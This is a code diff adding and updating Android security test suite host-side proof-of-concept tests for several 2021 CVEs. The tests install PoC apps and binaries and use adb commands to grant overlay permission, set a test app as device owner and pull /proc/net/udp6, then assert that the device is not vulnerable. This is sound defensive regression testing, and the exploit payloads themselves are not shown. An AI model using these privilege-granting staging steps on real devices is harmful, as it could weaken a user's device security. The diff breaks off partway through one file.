diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bd..bf261fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.After;
@@ -38,7 +38,7 @@
  * Test installs sample app and then tries to overwrite *.apk file
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
     private static final String TEST_APP = "CVE-2021-0691.apk";
     private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6..2b7ad14 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bede..fabaf89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e1..760c265 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
 import android.util.Log;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.log.LogUtil.CLog;
 import org.junit.After;
 import org.junit.Assert;
@@ -30,7 +30,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 0000000..ecb6bdd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 184046278)
+    @Test
+    public void testPocCVE_2021_0953() throws Exception {
+        final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+        final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+        final String TEST_APP = "CVE-2021-0953.apk";
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904..65934f2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
 
 package android.security.cts;
 
-import static org.junit.Assert.assertFalse;
+
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@
     @Test
     public void testPocCVE_2021_0965() throws Exception {
         installPackage(TEST_APP, new String[0]);
-        runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
-        String errorLog = "Vulnerable to b/194300867 !!";
-        String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
-        Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
-        assertFalse(pattern.matcher(logcat).find());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
new file mode 100644
index 0000000..3b12ce5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_APP = "CVE-2021-39626.apk";
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @AsbSecurityTest(cveBugId = 194695497)
+    @Test
+    public void testPocCVE_2021_39626() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(TEST_APP, "-t");
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 0000000..6cac004
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+    /**
+     * b/203938029
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libandroidfw (As per AOSP code)
+     * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 203938029)
+    @Test
+    public void testPocCVE_2021_39664() throws Exception {
+        String inputFiles[] = {"cve_2021_39664"};
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39664";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+                        "android::LoadedPackage::Load"));
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 0000000..519bd24
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
+    /**
+     * b/204077881
+     * Vulnerability Behavior: SIGSEGV in self
+     * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+     * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 204077881)
+    @Test
+    public void testPocCVE_2021_39665() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-39665";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+                        "android::AAVCAssembler::checkSpsUpdated"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
similarity index 64%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 43a058c..8f12b52 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -17,21 +17,26 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/205729183
+     * Vulnerability Behavior: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 205729183)
     @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+    public void testPocCVE_2021_39675() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+                 AdbUtils.TIMEOUT_SEC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 0000000..444f1a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 209611539)
+    @Test
+    public void testPocCVE_2021_39692() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2021_39692";
+        uninstallPackage(device, testPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2021-39692.apk");
+        AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 0000000..acc6a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+    /**
+     * b/201645790
+     * This test is related to
+     * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+     */
+    @AsbSecurityTest(cveBugId = 201645790)
+    @Test
+    public void testPocCVE_2021_39700() throws Exception {
+        ITestDevice device = getDevice();
+        assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+        String procUdp6File = "/proc/net/udp6";
+        File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+        assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+        tempFile.deleteOnExit();
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 0000000..d92af4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-39702.apk";
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 205150380)
+    @Test
+    public void testPocCVE_2021_39702() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
new file mode 100644
index 0000000..e2d88bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+    public static final int USER_ID = 0;
+    static final String TEST_APP = "CVE-2021-39706.apk";
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
+
+    @After
+    public void tearDown() throws Exception {
+        // Remove Device Admin Component
+        AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
+                + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
+    }
+
+    @AsbSecurityTest(cveBugId = 200164168)
+    @Test
+    public void testPocCVE_2021_39706() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP, "-t");
+        // Set Device Admin Component
+        AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
+                + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
new file mode 100644
index 0000000..0ae1efa
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase  {
+
+    static final String TEST_APP = "CVE-2021-39794-test.apk";
+    static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
+
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test";
+    static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver";
+
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    /**
+     * b/205836329
+     */
+    @AsbSecurityTest(cveBugId = 205836329)
+    @Test
+    public void testPocCVE_2021_39794() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        uninstallPackage(device, RECEIVER_PKG);
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(RECEIVER_APP);
+        AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device);
+
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
new file mode 100644
index 0000000..f90cae0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+    static final int USER_ID = 0;
+    static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    static final String TEST_APP = "CVE-2021-39796.apk";
+    static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk";
+    static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful";
+
+    @AsbSecurityTest(cveBugId = 205595291)
+    @Test
+    public void testPocCVE_2021_39796() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(HARMFUL_APP);
+        /* Set the harmful app as harmful */
